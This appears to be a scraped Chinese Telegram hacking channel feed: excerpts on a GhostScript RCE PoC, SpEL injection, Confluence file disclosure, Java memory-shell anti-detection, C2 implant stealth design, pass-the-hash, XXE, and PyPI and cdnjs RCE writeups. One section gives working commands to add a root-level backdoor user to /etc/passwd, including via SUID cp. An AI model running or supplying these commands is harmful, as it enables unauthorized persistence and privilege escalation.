黑客网站入侵 编程 搭建 渗透 破解
3.56K subscribers
419 photos
13 links
Download Telegram
RCE-0-day-for-GhostScript-9.50
hostScript 9.50 RCE 0-day 的 PoC - Payload 生成器
当利用 GhostScript 9.50 的 0-day 漏洞时,python 中的 PoC 会生成有效载荷。此 0-day 漏洞利用 Ubuntu 存储库中的默认设置影响 ImageMagick(在 Ubuntu 20.04 上使用 ImageMagick 的默认设置进行测试)
该项目仅用于教育目的,不得用于违法或谋取私利。


注意到 php-imagemagick,有时你必须找到正确的fd/<number>。做这些事情最简单的方法是模糊逻辑和类似的东西(使用 Ubuntu 20.04 和默认安装的 php-imagemagick 进行测试)
运行eventvwr
通过WIN+R键调出运行界面后,在界面中执行eventvwr,可打开windows日志管理器,选择安全项即可查看windows系统安全日志
SPEL 表达式注入漏洞深入分析

SPEL(Spring Expression Language),即Spring表达式语言,是比JSP的EL更强大的一种表达式语言。从Spring 3开始引入了Spring表达式语言,它能够以一种强大而简洁的方式将值装配到Bean属性和构造器参数中,在这个过程中所使用的表达式会在运行时计算得到值。使用SPEL你可以实现超乎想象的装配效果,这是其他装配技术很难做到的。

通过接口的使用情况
linux常见backdoor及排查技术
常见技巧
添加root权限后门用户
/etc/passwd这个文件包含了系统所有的用户名、ID、登录的shell等信息,这个文件是以分号分隔开的,依次是登录名、密码、用户ID、组ID,用户名、用户的根目录以及登录的shell,其中密码处可以是x(代表加密,存放在/etc/shadow文件中),也可以直接是加密后的密文,此外用户uid为0代表用户会是root的权限,这个时候我们的目标就是在这个文件中追加一条,一个带有密文且id为0的账号。
关于密码加密我们可以使用下面的命令
#密码M0rk
xxx@ubuntu:~/Desktop$ perl -e 'print crypt("M0rk", "AA"). "\n"'
AAhmo1jgYI0HE
所以我们最终想要在passwd文件中的条目是这个样子的
backdoor:AAhmo1jgYI0HE:0:0:me:/root:/bin/bash
append the backdoor to passwd file
echo "backdoor:AAhmo1jgYI0HE:0:0:me:/root:/bin/bash">>/etc/passwd
这里还有个知识点-有时候可以使用suid程序(find / perm /4000)cp命令覆盖/etc/passwd 来进行提权,比如
cd /tmp
echo "backdoor:AAhmo1jgYI0HE:0:0:me:/root:/bin/bash">>passwd
cp passwd /etc/passwd
echo M0rk|su - backdoor -c 'cat /flag'
[CVE-2021-26085] Confluence /s/路径的信息泄露(受限)

漏洞描述

未经认证的攻击者可访问Confluence的WEB-INF和META-INF目录下的任意文件(包括可能的凭据信息)。这个漏洞我理解是CVE-2020-29448补丁的绕过;跟CVE-2019-3394的危害程度一样,最大可能的危害是读取可能存在的atlassian-user.xml文件(泄露LDAP凭据但这种配置方式已被弃用),但是不需要认证。
漏洞详情

/s/路径是Atlassian产品通用的访问静态资源的方法。
Golang 的字符编码与 regexp

最近在使用 Golang 的 regexp 对网络流量做正则匹配时,发现有些情况无法正确进行匹配,找到资料发现 regexp 内部以 UTF-8 编码的方式来处理正则表达式,而网络流量是字节序列,由其中的非 UTF-8 字符造成的问题。

我们这里从 Golang 的字符编码和 regexp 处理机制开始学习和分析问题,并寻找一个有效且比较通用的解决方法,本文对此进行记录。
既然通过instrument机制能检测到Agent型内存马,那我们怎么样才能避免被检测到呢?答案比较简单,也比较粗暴,那就是把instrument机制破坏掉。这也是在冰蝎3.0中内存马防检测机制的实现原理,检测软件无法attach,自然也就无法检测。
构建高效平台型C2的经验总结

在红队演习中,C2(指挥与控制,Command & Control)系统作为关键的基础设施,对行动的成功起着至关重要的作用。随着攻防技术的不断进化,一些C2工具因其卓越性能和适应性而获得了广泛的认可。然而,面对日益先进的防御机制,红队成员通常需要对这些工具进行定制化开发和优化,以满足特定任务的需求。
本文将深入探讨一种基于在线平台的C2架构设计,该架构旨在通过实践构建一个具有更强隐蔽性和持久性的自研C2系统。我们将介绍如何利用在线服务的特点,来创建一个既能在复杂网络环境中保持低调运行,又能有效支持红队操作的指挥控制系统。

常见C2架构介绍
在国内,商用化的C2(指挥与控制,Command & Control)解决方案相对稀缺,因此红队和安全研究人员更多依赖于开源的C2框架,如Havoc、Sliver、Mythic等,或是对商业化的C2工具(例如Cobalt Strike、BRC4、Nighthawk C2等)进行破解或二次开发。这些工具虽然来源不同,但它们在通信原理上却有着相似之处,普遍采用HTTP、HTTPS、DNS等标准互联网协议来实现攻击者与受控目标之间的通信。
典型的C2操作流程包括:首先,在一台VPS(虚拟专用服务器)上部署TeamServer作为中央控制节点;然后,攻击者通过本地客户端连接到该TeamServer;最后,生成并部署恶意软件,使其回连至TeamServer,从而建立命令与控制通道。这种架构允许攻击者远程执行命令、管理植入物,并接收从受控系统中提取的数据。

我们来分析implant(植入体)在整个过程中到底做了什么

Implant首先需要与部署在VPS上的TeamServer建立一个安全、可靠的通信通道。这通常通过HTTP、HTTPS或DNS等标准协议实现,以确保数据传输的隐蔽性和稳定性。
Implant启动后,会立即收集目标主机的基础信息,如操作系统版本、网络配置、用户名等,这些信息统称为元数据(Metadata)。收集完成后,Implant会将这些元数据发送回TeamServer,标志着该主机已成功上线,可供进一步操作。
为了减少被检测的风险,Implant通常会在完成初始通信后进入休眠状态。这种设计使得Implant在非活跃状态下几乎不产生任何网络流量,从而降低了被发现的可能性。
命令控制的方式一般分为会话模式(Session Mode)和信标模式(Beacon Mode),在会话模式下,Implant与TeamServer之间保持持续的连接,允许攻击者即时下发指令并接收响应。这种方式虽然提供了无延迟的交互体验,但由于其持续的网络活动,更容易被防御系统识别。信标模式是更为隐蔽且常用的方式。Implant在休眠一段时间后,定期向TeamServer发起请求,检查是否有新的命令。信标模式通过间歇性的通信减少了连续的网络流量,显著降低了被检测的风险。
implant在休眠结束后,需要从TeamServer接收到命令(例如,shell whoami),它会解析并执行该命令(这里实际上不是接收命令,而是去请求获取命令,implant的所有操作和执行结果都是通过请求的方式进行单向访问)。执行完毕后,Implant会将结果封装并通过相同的通信通道发送回TeamServer。随后,再次进入休眠状态,等待下一次唤醒周期的到来。
这一过程是循环进行的,Implant根据设定的时间间隔或特定条件不断重复上述步骤,确保能够及时响应来自TeamServer的新指令,并将执行结果反馈给攻击者。
深入了解植入体的工作流程后,我们可以认识到它在C2架构中占据着至关重要的位置。因此,在进行C2系统的武器开发时,必须将更多资源和精力投入到植入体的设计与优化中。开发过程中,应尽量避免使用第三方库和直接调用Windows API,转而采用自研代码和内置功能,以减少攻击面并提高隐蔽性。同时,持续优化植入体的核心逻辑,确保其轻量化、高效运行,从而在复杂的网络环境中具备更强的对抗能力。这种策略不仅提升了植入体的稳定性和隐蔽性,还增强了整个C2系统的实战效能。
一次对 Tui Editor XSS 的挖掘与分析

调用后,Markdown会被渲染成HTML并显示在#viewer的位置。那么我比较好奇,这里是否会存在XSS。

在Markdown编辑器的预览(Preview)位置也是使用Viewer,但是大部分编辑器的预览功能即使存在XSS也只能打自己(self-xss),但Tui Editor将预览功能提出来作为一个单独的模块,就不仅限于self了。
PyPI 中潜在的远程代码执行

PyPI 存储库的 GitHub Actions 中存在一个漏洞,该漏洞允许恶意拉取请求执行任意命令。
这允许攻击者获取存储库的写入权限,从而导致在 pypi.org 上执行任意代码。

PyPI 是 Python 的包管理器 ( ) 使用的包注册表pip,在运行 等命令时会引用它pip install [package name]。
许多项目(包括Flask和TensorFlow)都在间接使用 PyPI。

从上面的代码片段可以看出,它使用list_objects_v2带有prefix参数的函数来获取要删除的对象。
并将用户拥有的项目的名称传递到prefix参数中。

这意味着如果有人删除了名为 的项目中的遗留文档examp,它将删除名称以 开头的项目的文档examp(example例如exampleasdf)
踩到的坑
域控服务器:最开始是使用的Windows Server 2012 R2

管理员权限powershell启用smb1后就好了:

Enable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol
但是实战中我们不可能去域控上打开SMB1,所以只需要Windows开启smb,将dll文件放在Windows的共享目录并在运行exp时使用该地址即可。
Cloudflare 的 cdnjs 中存在远程代码执行
cdnjs是 Cloudflare 旗下的一个 JavaScript/CSS 库 CDN,截至 2021 年 7 月 15 日,互联网上 12.7% 的网站都在使用它。这是继 12.8% 2的Google Hosted Libraries
之后使用范围第二广的库 CDN ,考虑到目前的使用率,它将在不久的将来成为使用最广泛的 JavaScript 库 CDN。

自动更新功能通过下载用户管理的 Git 存储库 / npm 包并从中复制目标文件来更新库。
并且 npm 注册表将库压缩到 中.tgz以使其可下载。
由于这个自动更新工具是用 Go 编写的,我猜测它可能使用 Go 的compress/gzip和archive/tar来提取存档文件。Go
的archive/tar返回存档中包含的文件名而不进行清理3,因此如果根据从 返回的文件名将存档提取到磁盘中archive/tar,则包含类似文件名的存档../../../../../../../tmp/test可能会覆盖系统上的任意文件。4从cdnjs/bot-ansible
中的信息,我知道有些脚本在定期运行,并且运行命令的用户对它们具有写权限,所以我专注于通过路径遍历覆盖文件。
mimikatz sekurlsa::pth底层原理

大家应该对NTLM SSP认证的Challenge / Response机制很熟悉,简单复习一下

NTLM的type3会有以下几种response:

•LM Response
•LMv2 Response
•NTLMv1 Response
•NTLMv2 Response
•NTLMv2 Session Response (NEGOTIATE_EXTENDED_SESSION_SECURITY )

这几种响应的计算都仅需要challenge和hash (v2会有额外的nonce)作为入参,于是就有了pass the hash这种攻击方式,LSASS和SAM中都存储着hash,攻击者拿到hash便可完成NTLM认证过程
一开始通过此处上传doc文档的功能,发现了一枚XXE注入,提交后厂商进行修复,但复测后发现其修复的结果就是黑名单SYSTEM关键词,没办法通过带外通道读取敏感数据了~

抱着试一试的心态将Billion Laughs的Payload放入到doc文档中(这里与XXE doc文档制作方式一样修改[Content_Types].xml文件,重新打包即可)